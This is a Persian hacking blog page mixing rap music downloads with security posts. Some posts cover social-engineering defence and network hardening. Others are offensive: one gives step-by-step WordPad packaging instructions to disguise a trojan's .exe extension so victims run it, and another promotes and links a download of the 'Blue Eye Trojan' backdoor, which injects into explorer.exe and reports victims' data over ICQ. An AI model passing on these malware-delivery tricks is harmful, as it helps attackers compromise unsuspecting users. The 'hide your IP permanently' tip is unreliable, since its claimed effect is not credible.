به جهنم هک خوش آمدید

X

به جهنم هک خوش آمدید

به جهنم هک خوش آمدید

وبلاگ حرفه ای درباره هک

منوي كاربري

لوگوي ما

موزیک

لينك دوستان

لينك های روزانه

ساعت و تاريخ

منوي اصلي

نويسنده

موضوعات

قبلی ها رو هم بخون خیلی خفنن

پیدا کن

آمار وبلاگ

طراح قالب

رپ و آموزش هک ( )

سلام به همه

امروز برای اینکه یه حالی بهتو بدم میخوام اول چند تا آهنگ رپ براتون بزارم بعد بریم سراغ آموزش هک

آهنگ ها رو به سلیقه خودم از بهترین ها تا بهتر ها ( چی گفتم !!! ) مزارم برای دانلود

اولی رو حتما حتما حتما دانلود کنید آهنگ زندگی سگی از شایا ( که به نظر من بهترین دختر رپ خونه )

دومی باز هم از شایا به نام هی رپر این هم خیلی با حاله من که خیلی باهاش حال کردم از اینجا دانلود کنید

باز هم از شایا با نام به یاد بیار این هم خیلی با حاله دانلود کنید

و باز هم از شایا به نام رفیق

واقعا شایا یکی از بهترین دختر های رپ خونه این هم از عکسش

و آخرين آهنگ از گروه ۱۳ خيلي با حاله به نام دوباره ۱۳ حتما دانلودش كنيد

آهنگ جدید از سروش سیدی بنام من پا برجام . سروش سیدی کسی هست که ادعا می کنه هیچکس واقعی هست ولی این قضیه صحت نداره و هیچکس واقعی سروش لشگری هست ولی آهنگ فوق العاده زیبا هست. حتما دانلود کنید. این هم عکس سروش سیدی ( هیچکس دروغین )

راستي درباره سروش هيچكس قلابي چيزي ميدونيد اگه نميدونيد پس اينو دانلود كنيد

آهنگ زیبا اما یکم قدیمی از Akon كه با امينم فيت داده به نام Smack that حتما دانلود كنيد

خب حالا براي آموزش هك روي ادامه مطلب كليك كنيد

ادامه ی مطلب ...

نوشته شده توسط امین security در

لينك مطلب

چگونه از شبكه خود در برابر « مهندسي اجتماعي » دفاع كنيم ( )

ممكن است شما يك تجهيزات ديواره آتش بسيار گران قيمتي بخريد. بهترين نرم افزار آنتي ويروس را نصب كرده باشيد و قوي ترين سيستم هاي كشف دخول سرزده (IDS ) را اضافه كرده باشيد اما هنوز نقطه ضعفي در طراحي امنيتي شما وجود دارد كه از آن چشم پوشي كرده ايد.

در اين مقاله قصد داريم كه درباره بعضي از تاكتيك هاي مهندسي اجتماعي (Social Engineering ) ، كه بسيار با اهميت نيز مي باشد بحث كنيم. در اين مقاله نحوه محافظت از نفوذگراني كه به وسيله سوءاستفاده از افراد و فريب آنها خيلي سريعتر در شبكه ما نفوذ مي كنند ، بحث خواهد شد.

اگر كاربري از سازمان شما كه دسترسي مجازي روي شبكه دارد فريب بخورد و كلمه عبور خود را در اختيار يك كاربر غير مجاز بگذارد ، آنگاه تمامي روشهاي محافظت در برابر حملات بي فايده خواهد بود.

هر سارقي مي داند كه براي وارد شدن به يك ساختمان ، داشتن يك كليد ، خيلي بهتر از شكاندن قفل با ديلم و يا وارد شدن به زور از پنجره است.

در دنياي امنيت كامپيوتر به نحوه گرفتن اين كليد رمز ، «مهندسي اجتماعي‌» مي گويند. مهندسي اجتماعي نيازي به مسايل تكنيكي ندارد و بيشتر يك امر فردي مي باشد كه بستگي زيادي روي مهارت هاي فردي دارد. نفوذگر با استفاده از فريب و نيرنگ و يا ارعاب ، شخص را قانع مي كند كه پسورد و يا هر اطلاعات مفيد ديگري را در اختيار او قرار دهد.Kevin Mitnick كه يكي از ماهرترين نفوذگران در اين زمينه بود ( كه به همين دليل نيز دستگير شد) ، كتابي دارد به نام Controlling the Human of Security كه در آن به اين موضوع پرداخته است.

مهندسي اجتماعي

مهندسي اجتماعي به صورت زير تعريف مي شود:

نوعي از دخول سرزده غير تكنيكي كه وابستگي زيادي به نحوه ارتباط افراد دارد و اغلب نيز با حيله گري انجام مي شود و باعث مي گردد كه بعضي از مسايل امنيتي در سازمان شكسته شود و يا لو رود.

بعضي از سناريو هاي مهندسي اجتماعي به صورت زير مي باشد:

- به يكي از كاربران تلفن بزنيد و بگوييد كه من يكي از مديران بخش شبكه هستم و براي حل بعضي از مشكلات بخش شبكه، نياز به نام كاربري و كلمه رمز شما دارم.

- به يكي از شركت هاي بخش آي تي زنگ بزنيد و وانمود كنيد كه يكي از مديران شركت مي باشيد و نام كاربري و كلمه رمز خود را گم كرده ايد و خيلي فوري به آن احتياج داريد.

- با يكي از كارمندان بخش كامپيوتر سازمان طرح دوستي بريزيد و در يك مكالمه عشقي از او اطلاعات بخش امنيتي شركت را دريافت كنيد.

وقتي كه نفوذگر مهارت هاي مهندسي اجتماعي و مهارت هاي كامپيوتري را با هم دارد به راحتي مي تواند در هر شبكه اي نفوذ كند.

بيشتر درخواستهايي كه از طريق اينترنت و به خصوص پست الكترونيكي دريافت مي شود كه در آن از جانب مدير و يا يكي از كارمندان بانك و يا شركت هاي كارت اعتباري از كاربر خواسته شده است كه به فلان سايت بروند و در آنجا اطلاعات كاربري خود را وارد كنند ،( در سايتي كه مربوط به هكر مي باشد) اين نيز يكي از روشهاي مهندسي اجتماعي مي باشد.

بعضي از مهندسي هاي اجتماعي ، روي مطالب تحقيقاتي شركت ها مي باشد. چنين فعاليت هايي به نام آشغال گردي (dumpster diving ) معروف هستند( يعني در آشغالها و كاغذ هاي كاري دور انداخته شده يك شركت به دنبال اطلاعات مفيد گشتن) كه اين هم مي تواند نوعي مهندسي اجتماعي باشد.

بعضي از هكر ها هم به صورت ماهرانه اي وانمود مي كنند كه مثلا آنها مسوول تعمييرات ساختمان هستند و يا اينكه به عنوان يك سرايدار در شركت شما استخدام شوند ، از آنجاييكه بيشتر كارمندان كارهاي خودشان را از راه دور انجام مي دهند بنابراين هيچگاه به كسي اجازه ندهيد كه به محل فيزيكي سايت كامپيوتر شما نزديك شود. يك هكر مصمم ممكن است كه روزها و يا هفته ها را صرف كند تا اعتماد يك كارمند را به دست آورد كه از راههاي مختلفي اين كار مي تواند انجام شود (مخصوصا براي ما ايراني ها كه هر روز با يك نفر در ياهو مسنجر دوست مي شويم! )

مهندسي اجتماعي معكوس نيز يكي روشهايي مي باشد كه در آن نفوذگر بعضي از مشكلات را براي كامپيوتر كاربر ايجاد مي كند و خودش هم براي كمك مي آيد ( مانند اينكه يك نفر آتشي درست كند و خودش هم براي خاموش كردن آن كمك كند) . همين امر باعث مي شود كه اعتماد كاربر را سريع تر جلب كند و اطلاعات لازم را سريع تر از او بگيرد. براي مثال مهندس اجتماعي (نفوذگر) ممكن است كه ميلي به همراه تروجاني كه به آن ضميمه شده است براي كاربر مورد نظرش ارسال كند و چون كاربر ، مهندس را مي شناسد و به آن اعتماد دارد بدون اينكه درباره فايل ضميمه احتياط كند به راحتي فايل ضميمه شده را اجرا مي كند و يا حتي آن را براي ديگران نيز ارسال مي كند.

چگونه شما مي توانيد در مقابل مهندسي اجتماعي ايمن شويد؟

دفاع در برابر مهندسي اجتماعي بايد به اندازه تمام تكنولوژيهاي امنيتي كه براي محافظت از شبكه اتان به كار مي بريد ، اهميت داشته باشد. اما متاسفانه معمولا اين نوع دفاع از طرف مديران شبكه رد مي شود. اينگونه فرض نكنيد كه كاربران خودشان بهتر مي دانند كه نبايد پسورد خود را به كس ديگري بدهند. علاوه بر آموزش كارمندان جزء ، حتي اعضاي تيم IT خود را كه روي امنيت سيستم هاي شما كار مي كنند نيز بايد آموزش ببينند.بيش از نيمي از كارمندان ، هيچ دليلي نمي بينند كه به فردي كه به نظر وجهه خوبي دارد پاسخ ندهند. حتي حرفه اي ها هم وقتي به يك فرد خشمگين برخورد مي كنند كه مدعي هست از مديران رده بالاي شركت مي باشد و به سرعت نياز به اطلاعاتي دارد ، دو دل هستند كه از فرد بخواهند كارت شناسايي خود را نشان دهد.

محافظت شبكه ها در برابر حملات مهندسي اجتماعي در درجه نخست ، به يك سري سياستهايي نياز دارد كه بايد بين تمامي افراد سازمان اجرا گردد. اين سياستها و روالها ، يك سري قوانيني براي پاسخگويي به سوالات مهم را به وجود مي آورد. البته فقط ابلاغ كردن اين سياستها كافي نمي باشد . موارد زير نيز بايد در نظر گرفته شود:

همه اعضاي مديريت بايد اين سياستها را بپذيرند و اين را بفهمند كه در هنگام خواستن كلمه عبور و يا اطلاعات مهم ديگر ، به طرز مناسبي ابتدا هويت خود را معرفي كنند.
اين سياستها بايد توسط تمامي اعضاي شبكه اجرا شود و به صورت مناسبي به آنها آموزش داده شود و دلايل اجراي اين سياستها نيز به آنها تفهيم گردد.
بايد با متخلفين و كساني كه از اين سياستها سرپيچي مي كنند برخورد كرد و مجازاتهايي براي اين تخلفات قرار داد.

سياستهاي امنيتي شما بايد شفاف باشد و موارد زير را نيز بايد شامل گردد:

سياستهاي كلمات رمز محكم: طول كوتاه، تغييرات كلمه رمز در طول يك مدت مشخص ، عدم استفاده از كلمات موجود در لغتنامه ها، كلمات رمز قابل حدس مانند شماره تلفن ، شماره شناسنامه و يا تاريخ تولد و ...
ممنوع كردن لو دادن پسورد : براي گرفتن كلمات عبور يكي از اعضاي سازمان ، البته فقط براي كسي كه به طور واقع به آن احتياج دارد، روالي در نظر گرفته شود .
كاربران هنگامي كه از كامپيوتر خود به مدت طولاني استفاده نمي كنند و يا آن را ترك مي كنند ، سيستم خود را log off كنند و از Screensaver هايي كه به وسيله كلمات عبور محافظت مي شود ، استفاده كنند.
يك مقداري هم امنيت فيزيكي در نظر گرفته شود تا مهمانان و بيگانگاني كه وارد شركت مي شوند ، به سيستم هاي داخلي دسترسي نداشته باشند.
يك روالي براي معرفي هويت كاربران به گروه IT و كاركنان بخش IT به كاربران معمولي مشخص گردد.
سياستهاي مديريتي انهدام كاغذهاي كاري (تكه تكه كردن ، خرد كردن، سوزاندن و ... ) ، ديسكها و ديگر رسانه هايي كه اطلاعاتي را نگهداري مي كنند قرار داده شود زيرا كه اين اطلاعات مي تواند به يك نفوذگر براي به دست گرفتن سيستم هاي ما كمك كند.

سياهه محافظت و پيشگيري در برابر مهندسي اجتماعي

براي اينكه از موفقيت يك مهندس اجتماعي در دستيابي به اطلاعاتي كه به آنها نياز دارد جلوگيري كنيم و يا اينكه وقوع يك مهندسي اجتماعي را كشف كنيم موارد زير را مي توان در نظر گرفت:

· ابزارهاي شبكه و كامپيوترهاي خود را به صورت فيزيكي محافظت كنيد

· سياستهاي امنيتي را در تمامي كاركنان سازمان گسترش دهيد و به صورت جزيي روشهاي مهندسي اجتماعي را به آنها معرفي كنيد.

· به تمامي كاركنان سازمان نحوه شناختن مهندسان اجتماعي را آموزش دهيد

· تمامي كاغذهاي اداري و رسانه هاي مغناطيسي را كه اطلاعات محرمانه اي را نگهداري مي كنند در جاي مناسبي بايگاني كنيد و پس از مدتي كه غير قابل استفاده شدند ، آنها را نابود كنيد.

يك تمرين خوب براي ايجاد يك پايگاه داده از انواع اين گونه حملات اين مي باشد كه تمامي حملات مهندسي اجتماعي كه در سازمان شما رخ داده است را در جايي بايگاني كنيد و مكاني را براي هماهنگي و پاسخگويي و جمع آوري اين گونه حملات در سازمان ايجاد كنيد. براي مثال اگر به يكي از منشي ها تلفني زده مي شود از طرف فردي كه وانمود مي كند مدير بخش IT مي باشد ، بايد جايي وجود داشته باشد تا اين منشي گزارش اين تلفن را به آنجا ابلاغ كند. اين كار به شما امكان مي دهد كه با الگوهاي اينگونه حملات آشنا شويد و خودتان را براي آينده قوي تر كنيد و همين امر باعث مي شود كه شما بفهميد ، افرادي وجود دارند كه به اطلاعات شبكه شما نياز دارند و قصد دست يافتن بدانها را دارند.

خلاصه

مهندسي اجتماعي يكي از ساده ترين و عمومي ترين راههاي نفوذ در شبكه هاي مي باشد. سازمانهاي بسياري وجود دارند كه براي امنيت شبكه خود پولهاي فراواني خرج مي كنند ولي هنوز حاضر نيستند براي مقابله با « سوءاستفاده از فاكتورهاي انساني» پولي خرج كنند.

ابتدا بايد براي پيشگيري از اين گونه حملات، سياستهايي را تدوين و اجرا كرد. اما مهمترين مرحله براي پيشگيري، آموزش كاركنان سازمان مي باشد.

امنيت اطلاعات بايد براي تمامي شركتهايي كه به نوعي از شبكه هاي كامپيوتري استفاده مي كنند ، بخش مهمي از برنامه هاي آنان باشد. بايد مراقب تمامي حملاتي باشيم كه عليه شبكه هاي ما اتفاق مي افتد به خصوص اگر به صورت «مهندسي اجتماعي» باشد.

نوشته شده توسط امین security در

لينك مطلب

روشی مطمئن برای مخفی کردن پسوند exe. در تروجان ها ( )

تمامی کسانی که در هک اندکی نیز سر رشته دارند مطمئنأ میدانند وقتی یک تروجان ساخته میشود پسوند آن exe. است. این موضوع میتواند باعث شود که فرد مورد نظر تروجان را دریافت نکند. اکنون قصد داریم یک ترفند بسیار جالب را به شما معرفی کنیم که با استفاده از آن میتوانید این پسوند را کاملا متو سازید ، به نوعی که همچنان همان کارایی را داشته باشد.

بدین منظور:
از منوی Start و سپس All Programs وارد Accessories شده و Wordpad را انتخاب کنید.
پس از باز شدن برنامه Wordpad تروجان مورد نظر را Copy کرده و در درون Paste ، Wordpad نمایید.
تال از منوی بالا وارد Edit>Package Object>Edit Package شوید.
در پنجره باز شده از منوی Edit بر روی Copy Package کلیک کنید.
در پایان وارد یکی از درایو های کامپیوتر شده و راست کلیک کنید و Paste را انتخاب کنید.
فایلی که Paste میشود تروجان جدید شما بدون پسوند exe است

نوشته شده توسط امین security در

لينك مطلب

چگونه بفهمیم که هک شده ایم ( )

چگونه بفهمیم که هک شده ایم؟ این سوالی است که روزانه بسیاری از افراد از خودشان میپرسند. یا پس از به وجود آمدن مشکلی در سیستم خود فکر هک شدن سیستم به ذهنشان خطور میکند. اما فهمیدن این که آیا نفوذگر توانسته به سیستم ما دسترسی پیدا کند برای خود نشانه هایی دارد. تا دیر نشده این ترفند را مطالعه کرده و در صورت داشتن این نشانه ها سیستم خود را ایمن کنید.

*هنگام كار با اينترنت مانيتور شما ناگهان خاموش مى شود يا تصوير آن وارونه مى شود ياسيستم شما به طور ناگهانى خاموش مى شود و يا Restart مى كند.
* شخصى با ID شما در مسنجر Yahoo با دوستانتان صحبت كرده و خودش را به جاى شما جا زده.
* CD-Rom شما خود به خود باز و بسته مى شود.
و ده ها مورد عجيب ديگر كه تابحال نديده بوديد و چند وقتى است كه با آنها دست به گريبان شديد...
در اين موارد احتمال هك شدن وجود دارد . در واقع نفوذگر با نصب نرم افزار هك بر روى دستگاه شما قادر خواهد بود اين كارها را انجام دهد . البته در بعضى موارد نيز احتمال دارد سيستم شما دچار خرابى سخت افزارى يا نرم افزارى شده باشد.
ولى هرگز اين مورد را از نظر نبايد دور داشت كه در بعضى موارد نفوذگر علاقه اى به خودنمايى ندارد . او بدون سر و صدا اطلاعات كسب مى كند و شايد دنبال پسوردها ، شماره تلفنها ، كارتهاى اعتبارى و يا موارد ديگر باشد.
يك مورد خطرناك تر هم وجود دارد و آن مورد اين است كه نفوذگر از دستگاه شما به عنوان طعمه استفاده كند و از طريق آن به ساير كامپيوترها حمله كند و به اين طريق رد خود را از بين ببرد.
اگر حملات وى اثر بخش باشد ممكن است شما به عنوان يك هكر دچار دردسرهاى قانونى شويد ! حتى بسته به مكانهايى كه هكر اصلى به آنها حمله كرده ممكن است شما واقعا" به دردسر بدى بيفتيد.
پس بهتر است هرچه زودتر خود را در اين زمينه تجهيز كنيد تا هرگز طعمه قرار نگيريد.

نوشته شده توسط امین security در

لينك مطلب

کلیاتی درباره امنیت شبکه ( )

وقتي از امنيت شبكه صحبت می کنیم، مباحث زيادي قابل طرح و بررسی هستند، موضوعاتي كه هر كدام به تنهايي مي توانند در عین حال جالب، پرمحتوا و قابل درك باشند. اما وقتي صحبت كار عملي به ميان می آید، قضيه تا حدودي پيچيده مي شود. تركيب علم و عمل، احتياج به تجربه دارد و نهايت هدف يك علم بعد كاربردي آن است.
وقتي دوره تئوري امنيت شبكه را با موفقيت پشت سر گذاشتيد و وارد محيط كار شديد، ممكن است اين سوال برایتان مطرح شود كه " حالا بايد از كجا شروع كرد؟ اول كجا بايد ايمن شود؟ چه استراتژي را در پيش گرفت و كجا كار را تمام كرد؟ به اين ترتيب " انبوهي از اين قبيل سوالات فكر شما را مشغول مي كند و كم كم حس مي كنيد كه تجربه كافي نداريد (كه البته اين حسي طبيعي است ).
پس اگر شما نيز چنين احساسي داريد و مي خواهيد يك استراتژي علمي - كاربردي داشته باشيد، تا انتهاي اين مقاله را بخوانيد.
هميشه در امنيت شبكه موضوع لايه هاي دفاعي، موضوع داغ و مهمي است. در اين خصوص نيز نظرات مختلفي وجود دارد. عده اي فايروال را اولين لايه دفاعي مي دانند، بعضي ها هم Access List رو اولين لايه دفاعي مي دانند، اما واقعيت اين است كه هيچكدام از اين‌ها، اولين لايه دفاعي محسوب نمي شوند. به خاطر داشته باشيد كه اولين لايه دفاعي در امنيت شبكه و حتي امنيت فيزيكي وجود يك خط مشي (Policy) هست. بدون policy، ليست كنترل، فايروال و هر لايه ديگر، بدون معني مي شود و اگر بدون policy شروع به ايمن سازي شبكه كنيد، محصول وحشتناكي از كار در مي آید.
با اين مقدمه، و با توجه به اين كه شما policy مورد نظرتان را كاملا تجزيه و تحليل كرديد و دقيقا مي دانيد كه چه مي خواهید و چه نمي خواهيد، كار را شروع مي‌شود. حال بايد پنج مرحله رو پشت سر بگذاريم تا كار تمام شود. اين پنج مرحله عبارت اند از :

1- Inspection ( بازرسي )

2- Protection ( حفاظت )

3- Detection ( رديابي )

4- Reaction ( واكنش )

5- Reflection ( بازتاب)

در طول مسير ايمن سازي شبكه از اين پنج مرحله عبور مي كنيم، ضمن آن كه اين مسير، احتياج به يك تيم امنيتي دارد و يك نفر به تنهايي نمي تواند اين پروسه را طي كند.
1- اولين جايي كه ايمن سازي را شروع مي كنيم، ايمن كردن كليه سنديت هاي (authentication) موجود است. معمولا رايج ترين روش authentication، استفاده از شناسه كاربري و كلمه رمز است.
مهمترين قسمت هايي كه بايد authentication را ايمن و محكم كرد عبارتند از :

- كنترل كلمات عبور كاربران، به ويژه در مورد مديران سيستم.

- كلمات عبور سوييچ و روتر ها ( در اين خصوص روي سوييچ تاكيد بيشتري مي شود، زيرا از آنجا كه اين ابزار (device) به صورت plug and play كار مي كند، اكثر مديرهاي شبكه از config كردن آن غافل مي شوند. در حالي توجه به اين مهم مي تواند امنيت شبكه را ارتقا دهد. لذا به مديران امنيتي توصيه ميشود كه حتما سوييچ و روتر ها رو كنترل كنند ).

- كلمات عبور مربوط به SNMP.

- كلمات عبور مربوط به پرينت سرور.

- كلمات عبور مربوط به محافظ صفحه نمايش.

در حقيقت آنچه كه شما در كلاس‌هاي امنيت شبكه در مورد Account and Password Security ياد گرفتيد اين جا به كار مي رود.

2- گام دوم نصب و به روز رساني آنتي ويروس ها روي همه كامپيوتر ها، سرورها و ميل سرورها است. ضمن اينكه آنتي ويروس هاي مربوط به كاربران بايد به صورت خودكار به روز رساني شود و آموزش هاي لازم در مورد فايل هاي ضميمه ايميل ها و راهنمايي لازم جهت اقدام صحيح در صورت مشاهده موارد مشكوك نيز بايد به كاربران داده شود.

3 - گام سوم شامل نصب آخرين وصله هاي امنيتي و به روز رساني هاي امنيتي سيستم عامل و سرويس هاي موجود است. در اين مرحله علاوه بر اقدامات ذكر شده، كليه سرورها، سوييچ ها، روتر ها و دسك تاپ ها با ابزار هاي شناسايي حفره هاي امنيتي بررسي مي شوند تا علاوه بر شناسايي و رفع حفره هاي امنيتي، سرويس هاي غير ضروري هم شناسايي و غيرفعال بشوند.

4-در اين مرحله نوبت گروه بندي كاربران و اعطاي مجوزهاي لازم به فايل ها و دايركتوري ها است. ضمن اينكه اعتبارهاي( account) قديمي هم بايد غير فعال شوند.

گروه بندي و اعطاي مجوز بر اساس يكي از سه مدل استاندارد Access Control Techniques يعني MAC , DAC يا RBAC انجام مي شود. بعد از پايان اين مرحله، يك بار ديگر امنيت سيستم عامل بايد چك شود تا چيزي فراموش نشده باشد.

5- حالا نوبت device ها است كه معمولا شامل روتر، سوييچ و فايروال مي شود. بر اساس policy موجود و توپولوژي شبكه، اين ابزار بايد config شوند. تكنولوژي هايي مثل NAT , PAT و filtering و غيره در اين مرحله مطرح مي شود و بر همين علت اين مرحله خيلي مهم است. حتي موضوع مهم IP Addressing كه از وظايف مديران شبكه هست نيز مي تواند مورد توجه قرار گيرد تا اطمينان حاصل شود كه از حداقل ممكن براي IP Assign به شبكه ها استفاده شده است.

6- قدم بعد تعيين استراژي تهيه پشتيبان(backup) است. نكته مهمي كه وجود دارد اين است كه بايد مطمئن بشويم كه سيستم backup و بازيابي به درستي كار كرده و در بهترين حالت ممكن قرار دارد.

7- امنيت فيزيكي. در اين خصوص اول از همه بايد به سراغ UPS ها رفت. بايد چك كنيم كه UPS ها قدرت لازم رو براي تامين نيروي الكتريكي لازم جهت كار كرد صحيح سخت افزار هاي اتاق سرور در زمان اضطراري را داشته باشند. نكات بعدي شامل كنترل درجه حرارت و ميزان رطوبت،ايمني در برابر سرقت و آتش سوزي است. سيستم كنترل حريق بايد به شكلي باشد كه به نيروي انساني و سيستم هاي الكترونيكي آسيب وارد نكند. به طور كل آنچه كه مربوط به امنيت فيزيكي مي شود در اين مرحله به كار مي رود.

8- امنيت وب سرور يكي از موضوعاتي است كه بايد وسواس خاصي در مورد آن داشت.به همين دليل در اين قسمت، مجددا و با دقت بيشتر وب سرور رو چك و ايمن مي كنيم. در حقيقت، امنيت وب نيز در اين مرحله لحاظ مي شود.

(توجه:هيچ گاه اسكريپت هاي سمت سرويس دهنده را فراموش نكنيد )

9 - حالا نوبت بررسي، تنظيم و آزمايش سيستم هاي Auditing و Logging هست. اين سيستم ها هم مي تواند بر پايه host و هم بر پايه network باشد. سيستم هاي رد گيري و ثبت حملات هم در اين مرحله نصب و تنظيم مي شوند. بايد مطمئن شوید كه تمام اطلاعات لازم ثبت و به خوبي محافظت مي شود. در ضمن ساعت و تاريخ سيستم ها درست باشد چرا كه در غير اين صورت كليه اقداما قبلي از بين رفته و امكان پيگيري هاي قانوني در صورت لزوم نيز ديگر وجود نخواهد داشت.

10- ايمن كردن Remote Access با پروتكل و تكنولوژي هاي ايمن و Secure گام بعدي محسوب مي شود. در اين زمينه با توجه به شرايط و امكانات، ايمن ترين پروتكل و تكنولوژي ها را بايد به خدمت گرفت.

11 - نصب فايروال هاي شخصي در سطح host ها، لايه امنيتي مضاعفي به شبكه شما ميدهد. پس اين مرحله را نبايد فراموش كرد.

12 - شرايط بازيابي در حالت هاي اضطراري را حتما چك و بهينه كنيد. اين حالت ها شامل خرابي قطعات كامپيوتري، خرابكاري كاربران، خرابي ناشي از مسايل طبيعي ( زلزله - آتش سوزي – ضربه خوردن - سرقت - سيل) و خرابكاري ناشي از نفوذ هكرها، است. استاندارد هاي warm site و hot site را در صورت امكان رعايت كنيد.

به خاطر داشته باشید كه " هميشه در دسترس بودن اطلاعات "، جز، قوانين اصلي امنيتي هست.

13- و قدم آخر اين پروسه كه در حقيقت شروع يك جريان هميشگي هست، عضو شدن در سايت ها و بولتن هاي امنيتي و در آگاهي ازآخرين اخبار امنيتي است.

نوشته شده توسط امین security در

لينك مطلب

تروجان ( )

تروجان يا بك دور Blue Eye Trojan 1.0b يكي از معمولي ترين نسخه از اين خانواده نرم افزاري مي باشد .
ولي تقريبا نسخه جديدي است و براي كاربرد و آشنا شدن با اين جور برنامه ها نمونه ي خوبي است يكي از جالب ترين نكته هاي برنامه اين است كه سرور توليد شده فقط 8.4 كيلوبيت حجم دارند و اين برنامه با استفاده از مسنجر ICQ اطلاعات سيستم قرباني را به نفوذگر مي دهد و در سيستم قرباني به صورت انجكشن بروي اينترنت اكسپلورر شروع به كار مي كند.
برخي از امكانات اين برنامه شامل :

File manager,Process viewer,Window manager
No Process Visible inject into explorer.exe and exiting the parent
Computer info,Server info,Uninstall,Close server
Power Option
ICQ Notification
Server EXE size is 8.4kb

1176091666.jpg
دانلود:
Blue Eye Trojan 1[1].0b.zip

نوشته شده توسط امین security در

لينك مطلب

راهکار های امنیت رایانه ای ( )

پرشین هک از ایسنا؛يك كارشناس امنيت شبكه: پشتيباني مهم‌ترين مرحله‌ي برقراري امنيت است
بي‌توجهي به امنيت كاربر به اخلال در امنيت رايانه‌يي مي‌انجامد
يك كارشناس امنيت شبكه گفت: امنيت رايانه‌يي كشور در گذشته، در سطح شبكه مطرح بود؛ به عنوان نمونه با ايجاد محدوديت در شبكه، امنيت برقرار مي‌كردند و در داخل اين محدوده اهميتي به كاربر داده نمي‌شد؛ اما در استراتژي امنيتي امروز، علاوه بر امنيت پيراموني، بايد به امنيت كاربر نيز توجه كرد؛ تا جايي‌كه سيستم هر كاربر به آنتي ويروس مجهز شود. محمد مصلايي در گفت‌وگو با خبرنگار سرويس فناوري اطلاعات خبرگزاري دانشجويان ايران (ايسنا)، درباره‌ي راه‌كارهاي امنيت رايانه‌يي در كشور، همچنين اظهار داشت: هفت عنصر در مباحث امنيتي رايانه‌يي شايان ذكر است؛ امنيت در سرويس، ظرفيت‌ها كه نشان‌دهنده‌ي توان سازمان براي برقراري امنيت است، حفظ سرويس كه نيازمند تداوم خدمات است، مديريت به عنوان چهارمين مورد كه هميشه بر امنيت سازمان نظارت داشته باشد. وي قابليت اعتماد و استاندارد بودن رويه‌هاي امنيتي را از ديگر عناوين برقراري امنيت در يك سازمان دانست و افزود: پشتيباني و برقراري ساختاري كه قابليت عملياتي نگه‌داشتن يك سيستم را داشته باشد، مهم‌ترين و آخرين مرحله‌ي برقراري امنيت است. مصلايي در پاسخ به اين سوال ‌كه امنيت رايانه‌يي بايد از چه مرحله‌اي آغاز شود، با اشاره به يك مدل استخراجي گفت: ابتدا بايد سازمان را در داخل و خارج به مناطق خاصي تقسيم‌بندي كرد، به گونه‌اي كه در داخل سازمان به طبقه‌بندي بلوك‌بندي شده برسيم و روي اين مناطق تعداد سطوح امنيتي مورد نياز را تعريف كنيم. او ادامه داد: در اين‌جا عدد صفر براي سطوحي است كه به امنيت نياز ندارند و در سطح يك نيز نياز به امنيت معمولي وجود دارد، اما سطح دو، به امنيتي محكم‌تر نيازمند است كه نبايد ارتباط معمولي با ساير مناطق برقرار كنند و سطح سه شامل مناطقي است كه داراي امنيت ملي هستند؛ اين چهار سطح را به نوعي به مناطق اختصاص مي‌دهيم و به يك طبقه‌بندي امنيتي دست پيدا مي‌كنيم. وي افزود: طبق اين طبقه‌بندي، در برخي سطوح به سمت ابزار نيز پيش مي‌رويم‌ و روي آن متدلوژي برقرار مي‌كنيم و از آن‌جا كه امنيت هدف نيست و يك فرآيند است و به همين دليل قابليت ارتقا دارد و شايد بهبود هزينه را نيز به همراه داشته باشد. وي تصريح كرد:‌ طبقه‌بندي در بودجه،‌ صرفه‌جويي خواهد كرد. مخابرات به عنوان تنها متولي اينترنت در كشور، اگر ترافيك ويروس را خود كنترل كند، هيچ ويروسي وارد فضاي تبادل اطلاعات كاربران نخواهد شد؛ اما مخابرات، ICP‌ها و ISP‌ها هيچ كدام مجهز به فيلتر ويروس نيستند. وي با تاكيد بر اين‌كه در استراتژي امنيتي جديد علاوه بر امنيت پيراموني، اهميت امنيت كاربران به ميزان قابل توجهي بالا رفته اما نيازمند حمايت است، گفت: ‌سيستم هر كاربر بايد به آنتي ويروس مجهز شود و با طي اين مرحله به سطح صفر يا يك رسيديم و اگر كاربر را فراموش كنيم، روال امنيتي درست از آب در نخواهد آمد

نوشته شده توسط امین security در

لينك مطلب

آیا رمز عبور شما امن است ؟ ( )

«استیو باس» نویسنده‌ی سایت PCWorld در مقاله‌ای درباره‌ی رمز عبور سخن گفته است. در بخشی از این مقاله می‌خوانیم: «بدترین رمز عبور، رمز عبوری است که نام دوست، فامیل، حیوان و یا حتی نشانی منزل باشد.» همچنین وی از تجارب خویش در این باره می‌گوید که چگونه چندین‌بار به دلیل استفاده از یک رمز عبور ساده، به دردسر افتاده است.

وی در بخشی از این مقاله توصیه‌ای مهم دارد: «هر چند وقت یک‌بار رمز عبورهای مهم خود را عوض کنید. در رمز عبور خود از حروف، اعداد و نشانه‌ها استفاده کنید. از حروف بزرگ و کوچک بهره ببرید.»

اما چگونه یک رمز عبور خوب بسازیم؟ «استیو باس» می‌گوید: «ما معمولا نمی‌توانیم رمز عبور خوبی بسازیم؛ اما برنامه‌ها این کار را انجام می‌دهند. مثلا برنامه‌ی سایت راهنمای ویندوز که در نشانی http://www.winguides.com/security/password.php قابل دسترسی است، پیشنهاد خوبی است. خود من از روبوفرم استفاده می‌کنم که در نشانی http://www.roboform.com قرار دارد. همچنین برنامه‌هایی هستند که باعث عدم ذخیره‌ی رمز عبور شما در رایانه‌های مختلف می‌شوند که امنیت رمز عبور شما را بالاتر می‌برند.»

نوشته شده توسط امین security در

لينك مطلب

دیگر هک نشوید ( )

در صورتی که تنها سررشته ای از هک و امنیت را داشته باشید میدانید که بسیاری از هکرها برای نفوذ به سیستم قربانی از IP او استفاده می کنند. با استفاده از این ترفند می توانید کاری کنید که IP شما برای همیشه دور از دسترس این افراد باشد و به نوعی به طور کامل IP خودتان را از دسترس دیگران مخفی نگه دارید.

برای این کار:
1- ابتدا از منوی Start به Run رفته و در محیط Run عبارت MMC را تایپ نمایید.
2- در محیط جدید ، از منوی File به قسمت Add/Remove Snap-in بروید.
3- در پنجره باز شده بر روی دکمه Add کلیک کنید.
4- در پنجره جدید ، بر روی IP Security Policy Management کلیک کرده و دکمه Add را بزنید.
5- سپس Finish را زده و خارج شوید.
6- در پنجره قبلی بر روی Ok کلیک کنید.
7- حال در همان محیط اولیه هستید.آیکون کناری عبارت IP Security Policy Management زرد رنگ است. اکنون میبایست یکبار بر روی آن کلیک کنید تا رنگ آن به سبز تغییر پیدا کند.
8- در پایان از منوی File به Exit رفته و با انتخاب yes این عملیات را ذخیره کنید

نوشته شده توسط امین security در

لينك مطلب

یه مقاله درباره مهندسی اجتماعی ( )

